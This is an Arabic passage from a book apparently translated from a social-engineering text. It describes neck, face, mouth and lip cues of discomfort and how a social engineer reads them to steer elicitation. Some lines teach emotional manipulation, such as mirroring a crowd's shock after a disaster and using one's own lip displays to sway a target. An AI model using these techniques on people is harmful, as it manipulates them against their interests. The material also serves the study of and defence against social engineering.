‫اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ اﻟذﻛﻲ ﺳوف ﯾﻘوم ﺑﺳرﻋﺔ ﺗﺣدﯾد إذا ﻛﺎن ﯾﻣﻛن اﻟدﻓﻊ أﻛﺛر ﺻﻌوﺑﺔ أو اﻟﺗراﺟﻊ‪ ،‬اﻋﺗﻣﺎدا ﻋﻠﻰ أھداف اﻻﺷﺗﺑﺎك‪.‬‬
‫ھذا اﻟﺟزء اﻟﻘﺻﯾر ھو ﺣول ﻣﻼﺣظﺔ ھذه اﻟﻌﻼﻣﺎت اﻟﺧﻔﯾﺔ أو ﻏﯾر ﺧﻔﯾﺔ ﻋن اﻟراﺣﺔ واﻻﻧزﻋﺎج وﻛﯾف ﯾﻣﻛن ﻟﻠﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ اﺳﺗﺧداﻣﮭﺎ‪.‬‬
‫اﻟﻔﻘرات اﻟﺗﺎﻟﯾﺔ ﺳوف ﺗﻛون ﻋن ﻋدد ﻣن اﻟﻣواﺿﯾﻊ ﻋن اﻟﻣﻧﺎطﻖ اﻟﺗﻲ ﯾﻣﻛﻧك ﻣﺷﺎھدﺗﮭﺎ‪.‬‬
‫ﺗﮭﺪﺋﺔ اﻟﺮﻗﺒﺔ واﻟﻮﺟﮫ )‪(Neck and Face Pacifying‬‬
‫ﺑﺎﻹﺿﺎﻓﺔ إﻟﻰ ﺳﻠوك ﻓرك اﻟرﻗﺑﺔ اﻟﺗﻲ ﻧوﻗش ﻣن ﻗﺑل‪ ،‬اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﯾﻣﻛﻧﮫ ﻣﻼﺣظﺔ ﻋﻼﻣﺎت أﺧرى واﻟﺗﻲ ﯾﻣﻛن أن ﺗﻛون ﻣؤﺷرات ﻗوﯾﺔ‬
‫ﻣن ﻋدم اﻟراﺣﺔ‪ .‬اﻟﻣﻔﺗﺎح ھو ﻣﺷﺎھدة ﺗﻐﯾﯾر ﻓﻲ اﻟﺳﻠوك واﻟذي ﯾﺷﯾر إﻟﻰ أن ﺷﯾﺋﺎ ﻣﺎ ﺟﻌل اﻟﮭدف ﯾﺷﻌر ﺑﻌدم اﻟراﺣﺔ‪.‬‬
‫ﻋﻠﻰ ﻏرار ﻋﻧد ﯾﻘوم اﻟرﺟل ﺑﺗدﻟﯾك اﻟﺟزء اﻟﺧﻠﻔﻲ ﻣن اﻟرﻗﺑﺔ‪ ،‬ﻋﻧدﻣﺎ ﺗﺷﻌر اﻟﻣرأة ﺑﺎﻟﺧوف واﻟﺗﮭدﯾد‪ ،‬أو اﻟﻘﻠﻖ‪ ،‬ﯾﻘوم ﺑﺗﻐطﯾﺔ ﺟزء ﻓﻲ اﻟرﻗﺑﺔ‬
‫ﯾﺳﻣﻰ ‪ ،suprasternal notch‬ﻛﻣﺎ ھو ﻣﺑﯾن ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻰ‪.‬‬

‫ﻟﻘد ﺗﺣدﺛت ﻣﻊ اﻟﻧﺎس اﻟذﯾن راﺟﻌوا أﺷرطﺔ ﻓﯾدﯾو اﻷﻣن ﺑﻌد أن ﻓﻘد طﻔل ﻓﻲ اﻟﻣﺗﺟر‪ .‬وﻗد ﻻﺣظت أن أول ﺷﻲء ﺗﻔﻌﻠﮫ اﻷم ھو ﺑﺎدرة ﻛﻣﺎ ھو‬
‫ﻣﺑﯾن ﻓﻲ اﻟﺷﻛل اﻟﺳﺎﺑﻖ‪.‬‬
‫ﺷﻲء آﺧر ﻗد ﯾراه اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ھو ﺧط أﺳﺎس اﻟﺷﻌور ﺑﺎﻟراﺣﺔ ﯾﺗﺣول اﻟﻰ ﻓرك اﻟوﺟﮫ‪ ،‬ﻛﻣﺎ ھو ﻣﺑﯾن ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻰ‪.‬‬

‫ھذه اﻟﺣرﻛﮫ‪ ،‬ﻋﻧدﻣﺎ ﺗﻼﺣظ‪ ،‬ﯾﻣﻛن ﻟﻠﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ أن ﯾﻘول أن اﻟﺷﺧص ﯾﺷﻌر ﺑﺎﻟﺗﮭدﯾد‪ ،‬ﻏﯾر آﻣن‪ ،‬أو ﻏﯾر ﻣرﯾﺢ ﻣﻊ اﻟﻘرار أو اﻟوﺿﻊ‬
‫اﻟذى ﻓﻲ ﯾده‪ .‬اﻟدﻛﺗور أﯾﻛﻣن وﻋﻠﻣﺎء اﻟﻧﻔس اﻵﺧرﯾن ﻗد ﺻﻧف ﻣﺛل ھذه اﻟﺣرﻛﺎت ﻏﯾر اﻟﻠﻔظﯾﺔ ﺑﺄﻧﮭﺎ "اﻟﺗﻼﻋب )‪."(manipulators‬‬
‫ﻋﻧدﻣﺎ ﺗﺣﺎول اﺧﺗﯾﺎر ﺧﯾﺎرات ﺻﻌﺑﺔ‪ ،‬ﻓﺎﻧﮫ ﯾﻛون ﻣرﯾﺣﺎ ﻓرك أو ﻟﻣس اﺛﻧﯾن ﻣن اﻷﻋﺻﺎب اﻟﺗﻲ ﺗﻣر ﻓﻲ اﻟرﻗﺑﺔ واﻟﺻدر اﻟﻌﻠوي وھذﯾن‬
‫اﻟﻌﺻﺑﯾن ھﻣﺎ ‪ vagus nerves‬و ‪.carotid sinus‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪899‬‬

‫ﻣﺎ اﻟﺬي ﺳﻮف ﺗﺸﺎھﺪه )‪(What to Watch For‬‬

‫ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ‪ ،‬ﻣﺷﺎھدة اﻟﺗﻐﯾﯾرات ﻓﻲ ھذه اﻟﺳﻠوﻛﯾﺎت‪ .‬ﻣن اﻟﻣﮭم أن ﺗﻼﺣظ أن اﻟﺷﺧص ﯾﺷﻌر ﺑﺎﻟراﺣﺔ ﻋﻧد اﻻﻗﺗراب ﻣﻧﮫ أول ﻣره وﻟﻛن‬
‫ﺑﻌد ذﻟك ﯾﺑدأ ﻓﻲ ﻓرك وﺟﮭﮫ أو اﻟرﻗﺑﺔ‪ .‬إذا ﻛﻧت ﺗرى ھذا ﯾﺣدث‪ ،‬ﻗم ﺑﺳرﻋﺔ ﺑﺗﺣدﯾد ﻣﺎ إذا ﻛﺎن ﺷﻲء ﻓﯾك أو ﺷﻲء ﻗﻠﺗﮫ ﺗﺳﺑب ﻓﻲ ھذا اﻟﺳﻠوك‪.‬‬
‫ﻣﺷﺎھدة ھذه اﻟﺗﻐﯾرات ﻓﻲ اﻟﺳﻠوك ﻹﻋطﺎﺋك "ﺣﻘﺎﺋﻖ" ﺣول اﻟﻣﺣﺗوى اﻟﻌﺎطﻔﻲ ﻟﺷﺧص ﻣﺎ‪ .‬ﺑﻣﺟرد ﻓﮭم أن ﺷﯾﺋﺎ ﻣﺎ ﻛﺎن ﺳﺑب اﻟﺗﻐﯾﯾر‪ ،‬إذا ﻛﺎن‬
‫اﻟﺗﻐﯾﯾر ﻣرﻏوب ﻓﯾﮫ‪ ،‬ﻓﻘرر ﺑرﻣﻲ ﺑﻌض أﺳﺋﻠﺔ اﻻﺳﺗﻧﺑﺎط واﻟﺗﻲ ﺳﺗؤﻛد اﻟﺷﻛوك اﻟﺧﺎﺻﺔ ﺑك‪.‬‬
‫ﺗﻐﻄﯿﺔ اﻟﻔﻢ )‪(Mouth Covers‬‬
‫أﺛﻧﺎء ﻗراءة ﺻﺣﯾﻔﺔ أو ﻣﺟﻠﺔ ﻋن ﻗﺻﺔ ﻋن ﺑﻌض اﻟﻛوارث‪ ،‬ﻟﯾس ﻣن ﻏﯾر اﻟﻣﺄﻟوف أن ﻧرى اﻟﻧﺎس ﻓﻲ ﻣﻛﺎن اﻟﺣﺎدث ﯾﻌرض ﻣﺎ ھو ﻣﺑﯾن ﻓﻲ‬
‫اﻟﺷﻛل اﻟﺗﺎﻟﻰ‪.‬‬

‫ﻛﻣﺎ ﻧوﻗش ﺳﺎﺑﻘﺎ‪ ،‬ﻋﻧدﻣﺎ ﻧﻛون ﺧﺎﺋﻔﯾن أو ﻣﺗﻔﺎﺟﺋﯾن‪ ،‬ﻧﺣن ﻓﻲ ھذه اﻟﻠﺣظﺎت ﻧﺣﺿر اﺳﺗﺟﺎﺑﺔ "اﻟﻣﻛﺎﻓﺣﺔ أو اﻟﮭروب"‪ .‬ﯾﻌﺗﻘد أن ﺗﻐطﯾﺔ أﻓواھﻧﺎ‬
‫ﻛرد ﻓﻌل آﻟﻲ ﻟراﺣﺔ اﻟﻧﻔس‪ ،‬ﺑﻘدر اﻟراﺣﺔ اﻟذاﺗﯾﺔ اﻟﺗﻲ ﻧﺷﻌر ﺑﮭﺎ ﻋﻧد ﻟﻣس اﻟوﺟﮫ واﻟرﻗﺑﺔ‪ .‬اﻟﺻدﻣﺔ‪ ،‬اﻟﻣﻔﺎﺟﺄة‪ ،‬أو اﻟﺧوف ﯾﻌﻘﺑﮭﺎ ﺷﻌور ﻋدم‬
‫اﻟراﺣﺔ‪ ،‬واﻟﺗﻲ ﺗﺗﺑﻌﮭﺎ إﺟراءات ﻣطﻣﺋﻧﺔ ﻟﻠﻧﻔس‪.‬‬
‫إذا ﻛﻧت ﺗرى ﺗﻐﯾﯾرا ھﺎدﺋﺎ ﻓﻲ ﺧط اﻷﺳﺎس ﻟﻧوع ﻣن اﻟﻌﻣل ﻛﻣﺎ ھو ﻣﺑﯾن ﻓﻲ اﻟﺷﻛل اﻟﺳﺎﺑﻖ‪ ،‬ﻗم ﺑﺈﻋﺎدة ﺗﻘﯾﯾم ﻧﮭﺟك وﺗﺄﻛد أﻧك ﻟﺳت اﻟﺷﺧص‬
‫اﻟذي ﺗﺳﺑب ﻓﻲ ھذه اﻟﺻدﻣﺔ‪.‬‬
‫ﻣﺎ اﻟﺬي ﺳﻮف ﺗﺸﺎھﺪه )‪(What to Watch For‬‬
‫إذا ﻻﺣظت أن ﺷﺧص ﻣﺎ ﯾﻐطﻲ ﻓﻣﮫ‪ ،‬ﻓﻲ ﻣﺣﺎوﻟﺔ ﻟﻣﻌرﻓﺔ ﻣﺎ اﻟذي ﺳﺑب ھذا اﻹﺟراء‪ .‬ﺗذﻛر أھﻣﯾﺔ "ﻟﻣﺎذا" اﻟﺳؤال اﻟذي ﺷدد ﻋﻠﯾﮫ اﻟدﻛﺗور‬
‫أﯾﻛﻣن‪ .‬ھل ھو ﻋرض ﯾﻠﯾﮭﺎ اﻟﻐﺿب‪ ،‬اﻟﺣزن‪ ،‬أو اﻟﺧوف؟ ھذه اﻟﻣﺷﺎﻋر ﯾﺟب أن ﺗﻐﯾر طرﯾﻘﺔ اﻟﻣﺗﺎﺑﻌﺔ‪ .‬ﯾﻣﻛﻧك اﺳﺗﺧداﻣﮭﺎ ﻟﺗﺻﺑﺢ ﻋﺿوا ﻓﻲ‬
‫ﻗﺑﯾﻠﺔ إذا ﻛﺎن رد اﻟﻔﻌل ﻟﺣدث اﻟﻌﺎم‪.‬‬

‫ﺗﺧﯾل أن ﺗﻛون ﻓﻲ ﻣﺳرح اﻟﺟرﯾﻣﺔ أو ﺗﺷﮭد ﺑﻌض اﻷﺣداث اﻟرھﯾﺑﺔ‪ .‬ﻓﻲ ﺣﯾن أن اﻟﺟﻣﯾﻊ ﻗﺎم ﺑﺗﻐطﯾﺔ ﻓﻣﮫ‪ ،‬ﯾﻠﮭث‪ ،‬ﯾﺑﺣث ﺑﻌﯾدا‪ ،‬ﺗرى ﺷﺧص‬
‫واﺣد ﻓﻲ ھذا اﻟﺣﺷد ﻣﻊ اﺑﺗﺳﺎﻣﺔ ﻛﺑﯾرة ﻋﻠﻰ وﺟﮭﮫ‪ .‬ﻣﺎ رأﯾك؟ اﻧﮫ ﻟم ﯾﻧﺳﺟم ﻣﻊ ھذا اﻟﺣﺷد‪ .‬ﯾﻘف ﺧﺎرﺟﺎ‪ ،‬وﻟﯾس ﺑطرﯾﻘﺔ ﺟﯾدة‪ .‬ﺑﺎﻟﻣﺛل‪ ،‬ﻛﻣﮭﻧدس‬
‫اﺟﺗﻣﺎﻋﻲ‪ ،‬ﻻﺣظ اﻟﺣﺷد اﻟذي ﺗﻘﺗرب ﻣﻧﮫ ﻓﺈذا ﻛﺎﻧوا ﻣﺻدوﻣﯾن أو ﻣﺗﻔﺎﺟﺋﯾن اﻟﺣدث؛ طرﯾﻘﺔ ﺳﮭﻠﺔ ﻟﺑدﺋﮭﺎ ﻣﻧﺎﺳﺑﮫ ﻣﻊ ھذا اﻟﺣﺷد ھﻲ أن ﺗﺄﺧذ ﻋﻠﻰ‬
‫اﻟﻣﺣﺗوى اﻟﻌﺎطﻔﻲ ﻟﻠﺣﺷد ﻣن ﺣوﻟك‪.‬‬
‫ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬ﻓﻲ ‪ 9/11‬ﻛﻧت واﻗﻔﺎ ﺑﺎﻟﻘرب ﻣن ﻣﺟﻣوﻋﺔ ﻣن اﻟﻐرﺑﺎء ﻋﻧدﻣﺎ ظﮭرت ﺧﺑر ﺿرب اﻟطﺎﺋرة اﻟﺛﺎﻧﯾﺔ اﻟﺑرج اﻟﺛﺎﻧﻲ‪ .‬وﺗﻠت ھذا‬
‫اﻟﺻدﻣﺔ واﻟرﻋب اﻟﺗﻲ ﺗﺳﺑﺑت ﻓﻲ اﻟﻌدﯾد ﻣن اﻟﺻﯾﺣﺎت واﻟﺗﻲ ﺟﻌﻠﺗﻧﺎ ﺟﻣﯾﻌﻧﺎ وﻛﺄﻧﻧﺎ ﻣن ﻗﺑﯾﻠﺔ واﺣدة ﺑﺳرﻋﮫ ﻛﺑﯾره‪ .‬ﻧﺣن ﻗﻣﻧﺎ ﺑﺗﻘﯾد ﻋواطﻔﻧﺎ ﻋﻠﻰ‬
‫ھذا اﻟﺣدث وردود اﻟﻔﻌل ﻟدﯾﻧﺎ‪.‬‬
‫اﻟﮭﺟﻣﺎت اﻟﺧﺑﯾﺛﺔ ﻟﻸﺳف ﺗﺳﺗﺧدم ھذا اﻟﺗﻛﺗﯾك )اﻟﻌب ﻋﻠﻰ ﻋواطف اﻟﺑﺷرﯾﺔ اﺗﺟﺎه اﻟﻛوارث( ﻓﻲ ﻛل وﻗت‪ .‬أﻧﺎ ﻻ أﻧﺻﺢ أن ﯾﺳﺗﺧدم اﻟﻣﮭﻧدس‬
‫اﻻﺟﺗﻣﺎﻋﻲ ھذا اﻟﻌرض ﻣن دون ﺳﺑب وﺟﯾﮫ‪.‬‬
‫اﻟﺸﻔﺎﯾﻒ )‪(Lips‬‬
‫اﻟﺷﻔﺎﯾف ھﻲ ﻣﺻدر ھﺎﺋل ﻣن اﻟﻣﻌﻠوﻣﺎت ﻋن اﻟراﺣﺔ ﻣﻘﺎﺑل ﻋدم اﻟراﺣﺔ‪ .‬ھذا ﻟﯾس ﻓﻘط ﻷﻧﮭﺎ ﺗﺷﻛل اﻟﻛﻠﻣﺎت‪ ،‬وﻟﻛن‪ ،‬رﺑﻣﺎ اﻷھم ﻣن ذﻟك‪ ،‬ﺑﺳﺑب‬
‫ﻣﺎ ﯾﻔﻌﻠوﻧﮫ ﻋﻧدﻣﺎ ﻻ ﺗﺳﺗﺧدم اﻟﻛﻠﻣﺎت‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪900‬‬

‫أﺣﯾﺎﻧﺎ ﺗﺧﺑرﻧﺎ اﻟﺷﻔﺎﯾف أن اﻟﺷﺧص ﯾرﯾد أن ﯾﻘول ﺷﯾﺋﺎ ﻣﺎ وﻟﻛن ﯾﺣﺟم )أي ﯾﺗراﺟﻊ(‪ .‬اﻟﺷﻔﺎﯾف أﯾﺿﺎ ﯾﻣﻛﻧﮭﺎ أن ﺗﻘول ﻟﻧﺎ أن ھﻧﺎك ﻣن ھو‬
‫ﻋﺻﺑﻲ أو ﻧﻘص ﻓﻲ اﻟﺛﻘﺔ‪ .‬ﯾﻣﻛن ﺗﻌﻠم اﻟﺗﻘﺎط ھذه اﻹﺷﺎرات اﻟﺧﻔﯾﺔ واﻟﺗﻲ ﺗﻌطﯾك ﻣﯾزة اﺿﺎﻓﯾﺔ ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ‪.‬‬
‫ﻟﻧﻔﺗرض إﻧك ﻛﻧت ﻓﻲ اﻟﻌﻣل‪ ،‬وﻛﻧت ﺗﺗﻌﺎﻣل ﻣﻊ ﻣدﯾر ﻻ ﯾروق ﻟك‪ .‬اﻧت ﺗﻘول ﻟﮫ ﺷﯾﺋﺎ ﻗﺎﺳﯾﺎ ﻗﻠﯾﻼ‪ ،‬وھو ﯾﻌطﯾك ﻧظرة ﻣﺛل واﺣد ﻛﻣﺎ ھﻲ ﻣﺑﯾﻧﮫ‬
‫ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻰ‪.‬‬

‫ﻛﻣﺎ ھﻲ ﺗﺑدو ﻟك‪ ،‬ﻧﺟد أن اﻟﺷﻔﺗﯾن ﺿﯾﻘﯾن )‪ ،(Pursed lips‬ﻛﻣﺎ ھو ﻣﺑﯾن ﻓﻲ اﻟﺷﻛل اﻟﺳﺎﺑﻖ‪ .‬اﻟﺷﻔﺎه اﻟﺿﯾﻘﺔ )‪ (Pursed lips‬ھﻲ ﻋﻼﻣﺔ ﻋﻠﻰ‬
‫اﻟﻐﺿب‪ ،‬ﺣﺗﻰ ﻋﻧدﻣﺎ ﯾﺗم ﻗﻣﻊ ھذا اﻟﻐﺿب‪ .‬ﻓﻲ ﺟوھرھﺎ‪ ،‬اﻟﺷﻔﺎه اﻟﺿﯾﻘﺔ )‪ (Pursed lips‬ﺗﺣﺎﻓظ ﻋﻠﻰ اﻏﻼق اﻟﻔم ﻹﺑﻘﺎﺋك ﻣن ﺗﺷﻛﯾل اﻟﻛﻠﻣﺎت‬
‫اﻟﺗﻲ ﻗد ﺗرﻏب ﺑﺷدة ﻓﻲ أن ﺗﻘوﻟﮭﺎ‪ .‬ﯾﻣﻛن ﻟﻠﺷﻔﺎه اﻟﺿﯾﻘﺔ )‪ (Pursed lips‬أن ﺗﺷﯾر أﯾﺿﺎ إﻟﻰ أن اﻟﺷﺧص ھو ﺗﺣدﯾد ﻣﺎ إذا ﻛﺎن اﻟﺷﺧص اﺗﺧذ‬
‫ﺑﻌض اﻹﺟراءات وﻗراره ﺑﯾن ردود اﻟﻔﻌل او اﻹﺟراءات اﻟﻣﺣﺗﻣﻠﺔ‪.‬‬
‫ﻋﻼﻣﺔ أﺧرى ﯾﻣﻛن ﻣﺷﺎھﺗﮭﺎ وھﻲ اﻟﺷﻔﺔ اﻟﻣﺟﻌدة )‪ .(puckered lip‬ﻋﻠﻰ ﻏرار اﻟﺿﯾﻘﺔ )‪ ،(Pursed lips‬ﯾﻣﻛن أن ﺗﺷﯾر إﻟﻰ أن اﻟﻛﻠﻣﺎت‬
‫ﯾﺗم ﺗﺣﺟﯾﻣﮭﺎ ﻣن اﻟظﮭور‪ ،‬وﻟﻛن ﻻ ﯾوﺟد اﻟﻐﺿب‪ .‬ﺑدﻻ ﻣن ذﻟك‪ ،‬ھذا اﻟﻌرض ﯾﺷﯾر إﻟﻰ ﻋدم اﻟﯾﻘﯾن‪ .‬ﻟﻧﻔﺗرض أﻧك ﺗﺳﺄل ﺷﺧص ﻣﺎ ﺳؤال ھو‬
‫ﻏﯾر ﻣﺗﺄﻛد ﻣن اﻹﺟﺎﺑﺔ‪ .‬ﺳوف ﺗرى اﺳﺗﺟﺎﺑﺔ ﻣﻣﺎﺛﻠﺔ إﻟﻰ اﻟﺷﻛل اﻟﺗﺎﻟﻰ؟‬

‫ﺳﯾﻠﯾﻧﺎ ﺗﺑدو ﻏﯾر ﺣﺎﺳﻣﮫ ﻓﻲ ھذه اﻟﺻورة‪ .‬ﺣﯾث ﺳﺋﻠت ﺳؤال وﻗرارھﺎ ﺑﺷﺄن ﻛﯾﻔﯾﺔ اﻟرد‪.‬‬
‫ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻰ‪ ،‬ﺑن ﯾظﮭر ﻣﻧزﻋﺞ ﻗﻠﯾﻼ‪ .‬ﻟﯾس ﻓﻘط ھو أﻧﮫ ﻏﯾر ﻣﺗﺄﻛد ﻣﺎ إذا ﻛﺎن ﯾرﯾد أن ﯾﺟﯾب‪ ،‬ﻟﻛﻧﮫ أﯾﺿﺎ ﯾظﮭر ﺑﻌض ﻋﻼﻣﺎت اﻹﺣﺑﺎط ﻣﻊ‬
‫اﻷﺳﺋﻠﺔ اﻟﺗﻲ طرﺣت‪ .‬ﺣﺎﺟﺑﯾﮫ ﻧﺎزﻟﯾن وﻣﻌﺎ ﯾﻣﻛن أن ﯾﻌﻛس اﻟﺣﻣوﻟﺔ اﻟﻣﻌرﻓﯾﺔ )اﻟﺗﻔﻛﯾر( ‪-‬ورﺑﻣﺎ اﻟﻐﺿب‪ .‬اﻟﺑﺣث ﻋن ﻋﻼﻣﺔ اﻟﺷﻔﺔ اﻟﻣﺟﻌدة‬
‫)‪ (puckered lip‬ﺑﻌد طرح ﺳؤال اﻟﺻﻌب ﻟﻣﻌرﻓﺔ ﻣﺎ إذا ﻛﺎن اﻟﺷﺧص اﻟذي ﺗﺗﺣدث إﻟﯾﮫ ﯾظﮭر ﻋﻼﻣﺎت اﻻﻧزﻋﺎج‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪901‬‬

‫ﻋﻠﻰ اﻟرﻏم ﻣن أﻧﮫ ﻓﻲ ﺣد ذاﺗﮫ أﯾﺎ ﻣن ھذه ﻋﻼﻣﺎت ﻏﯾر واﺿﺣﺔ ﻋن اﻟﺧداع‪ ،‬إذا رأى اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ھذه اﻟﻌﻼﻣﺎت‪ ،‬ﻓﺎﻧﮫ ﯾﻣﻛن أن‬
‫ﯾﺳﺗﮭدف ھذه اﻟﻣﻧطﻘﺔ ﻣن اﻟﻣﻌﻠوﻣﺎت ﻟﻣﻌرﻓﺔ ﻣﺎ إذا ﻛﺎن ھﻧﺎك ﺧداع‪.‬‬
‫اﺧر ﻋﻼﻣﺔ ﻋن اﻟﺷﻔﺔ ﺳوف اﻧﺎﻗﺷﮭﺎ ھﻲ واﺣدة ﺗدل ﻋﻠﻰ اﻻﻧزﻋﺎج اﻟﻌﺎﻟﻲ‪ .‬ﻋض اﻟﺷﻔﺔ )‪ (Lip biting‬ﯾﺷﯾر اﻟﻰ اﻟﻘﻠﻖ‪ ،‬ﻛﻣﺎ ھو ﻣﺑﯾن ﻓﻲ‬
‫اﻟﺷﻛل اﻟﺗﺎﻟﻰ‪.‬‬

‫ﻛﻣﺎ ھو ﻣﺑﯾن ﻓﻲ اﻟﺷﻛل اﻟﺳﺎﺑﻖ‪ ،‬ﯾﻣﻛﻧك ان ﺗرى اﻟﻘﻠﻖ ﻟﯾس ﻓﻘط ﻓﻲ ﻋرض ﺷﻔﺔ ﺳﯾﻠﯾﻧﺎ‪ ،‬وﻟﻛن أﯾﺿﺎ ﻓﻲ ﻋﯾﻧﯾﮭﺎ‪ .‬ﺣﯾث أن اﺗﺳﺎع ﻋﯾﻧﯾﮭﺎ ﯾﺷﺑﮫ‬
‫اﻟﻰ ﻣﺎ ﻗد ﺗراه ﻓﻲ اﻟﺧوف أو اﻟﻣﻔﺎﺟﺄة‪ ،‬ﻣﺷﯾرا إﻟﻰ أﻧﮭﺎ ﻗد ﺗﻛون ﺗﺷﻌر ﺑﺎﻟﻘﻠﻖ‪ .‬ﺑﻌض اﻟﻧﺎس ﻟدﯾﮭم ﻋﺎدة ﻟﻠﻘﯾﺎم ﺑذﻟك‪ ،‬ﻟذﻟك ﻻﺣظ ﻋﻧدﻣﺎ ﯾﺑدؤون‬
‫وﯾﺗوﻗﻔون‪ ،‬ﻷﻧﮭﺎ ﯾﻣﻛن أن ﺗﺷﯾر إﻟﻰ وﺟود ﺧط اﻷﺳﺎس؛ ﺛم اﺑﺣث ﻋن اﻟﺗﻐﯾﯾرات‪ .‬ﻋﻣوﻣﺎ ﯾﺣدث ھذا اﻟﻌرض ﻋﻧدﻣﺎ ﯾﺷﻌر ﺷﺧص ﻣﺎ ﺑﺎﻟﻘﻠﻖ‪.‬‬
‫أﺣﯾﺎﻧﺎ اﻟﺷﻔﺎه ﻟﯾﺳت ھﻲ اﻟﺷﻲء اﻟوﺣﯾدة اﻟذي ﯾﻌض ﻋﻧدﻣﺎ ﯾﺷﻌر ﺷﺧص ﻣﺎ ﺑﺎﻟﻘﻠﻖ‪ .‬ﻗد ﺗﺷﺎھد أﯾﺿﺎ ﻋرض ﻣﺷﺎﺑﮭﺔ ﻟﻸﺷﻛﺎل اﻟﺗﺎﻟﯾﺔ‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪902‬‬

‫اﻟﺷﻛﻠﯾن اﻟﺳﺎﺑﻘﯾن‪ ،‬ﻛﻼھﻣﺎ ﯾظﮭرا ﻋرض واﻟﺗﻲ ﯾﻣﻛن أن ﯾﺷﯾر إﻟﻰ اﻟﺗﺄﻣل‪ ،‬اﻟﻘﻠﻖ‪ ،‬أو اﻟﺗﻔﻛﯾر )ﺗﺣﻣﯾل اﻟﻣﻌرﻓﺔ(‪.‬‬
‫ﻣﺎ اﻟﺬي ﺳﻮف ﺗﺸﺎھﺪه )‪(What to Watch For‬‬
‫ﻓﻲ ﺟﻣﯾﻊ ﻋروض اﻟﺷﻔﺔ ھذه‪ ،‬ﻓﺈن اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﯾﺟب ان ﯾﻛون ذﻛﯾﺎ ﻓﻲ اﻟﺑﺣث ﻋن اﻟﺗﻐﯾﯾرات‪ .‬ﻻﺣظ ﻋﻧدﻣﺎ ﯾﺑدأ اﻟﺷﺧص ﺑﺎﻟﻌروض‬
‫ھذه‪ ،‬وﺗذﻛر اﻟﻣﺣﺎدﺛﺔ أو اﻷﺳﺋﻠﺔ اﻟﺗﻲ ﺣدﺛت ﻓﻲ ذﻟك اﻟوﻗت‪ .‬وﺑﺎﻟﻣﺛل‪ ،‬ﻓﺈن أي ﺷﺧص ﯾﻠﻌﻖ ﺷﻔﺗﯾﮫ‪ ،‬ﺟﻧﺑﺎ إﻟﻰ ﺟﻧب ﻣﻊ ﺟﻣﯾﻊ ﻋروض اﻟﺷﻔﺔ‬
‫اﻷﺧرى‪ ،‬ﯾﻣﻛن أن ﺗﻘﻊ ﻓﻲ ﻓﺋﺔ اﻟﻣﺗﻼﻋﺑﯾن اﻟﻐﯾر ﻟﻔظﻲ‪ .‬اﻟزﯾﺎدة ﻓﻲ ﻋروض اﻟﻣﺗﻼﻋﺑﯾن ﯾﺷﻛل ﺧروﺟﺎ ﻋن ﺧط اﻷﺳﺎس وﯾﻣﻛن أن ﺗﻛون ﻧﻘطﺔ‬
‫ﺳﺎﺧﻧﺔ ﺑﺎﻟﻧﺳﺑﺔ ﻟك ﻟﻛﻲ ﺗﻼﺣظﮭﺎ‪.‬‬
‫ھذا ﯾﻣﻛن أن ﺗﻛون ﻛﻠﮭﺎ ﻣؤﺷرات ﻟﻺﺟﮭﺎد‪ ،‬اﻟﻘﻠﻖ‪ ،‬أو ﻋﻘد اﻟظﮭر‪ .‬ﻛل اﻟﻌﻼﻣﺎت اﻟﺟﯾدة ﻋن اﻻﻧزﻋﺎج ﻗد وﺿﻌت أو وﺿﻌت ﻓﻲ‪ .‬ﻛﻣﮭﻧدس‬
‫اﺟﺗﻣﺎﻋﻲ‪ ،‬ﯾﺟب أن ﺗﻼﺣظ إذا ﻛﺎن ﺗواﺻﻠك ﯾﺳﺑب ھذا اﻟﺗﻔﺎﻋل وﻣن ﺛم ﺿﺑط ﺳﻠوﻛك‪ .‬ﻋﻠﻰ ﻏرار اﻟﻣﻧﺎطﻖ اﻷﺧرى اﻟﻣذﻛورة ﻓﻲ اﻟﻣﻘﺎطﻊ‬
‫اﻟﺳﺎﺑﻘﺔ‪ ،‬ﯾﻣﻛﻧك اﺳﺗﺧدام ﻋروض اﻟﺷﻔﺔ اﻟﺧﺎﺻﺔ ﺑك‪ ،‬ﺑﻣﮭﺎرة‪ ،‬ﻟﻠﺗﺄﺛﯾر ﻋﻠﻰ ﻋواطف ﺷﺧص ﻣﺎ‪.‬‬
‫ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬ﻋﻧدﻣﺎ ﺗﺳﺄل ﺷﺧص ﻣﺎ ﻋن ﻣﺻﻠﺣﮫ‪ ،‬ﻓﺎﻧﮫ ﻣن اﻟﻣﻣﻛن ان ﯾظﮭر ﻋﺿﮫ ﺻﻐﯾره ﻟﺷﻔﺗﯾﮫ أو ﺗﺟﻌﯾد اﻟﺷﻔﺔ وھذا ﯾظﮭر أﻧﮫ ﻣن‬
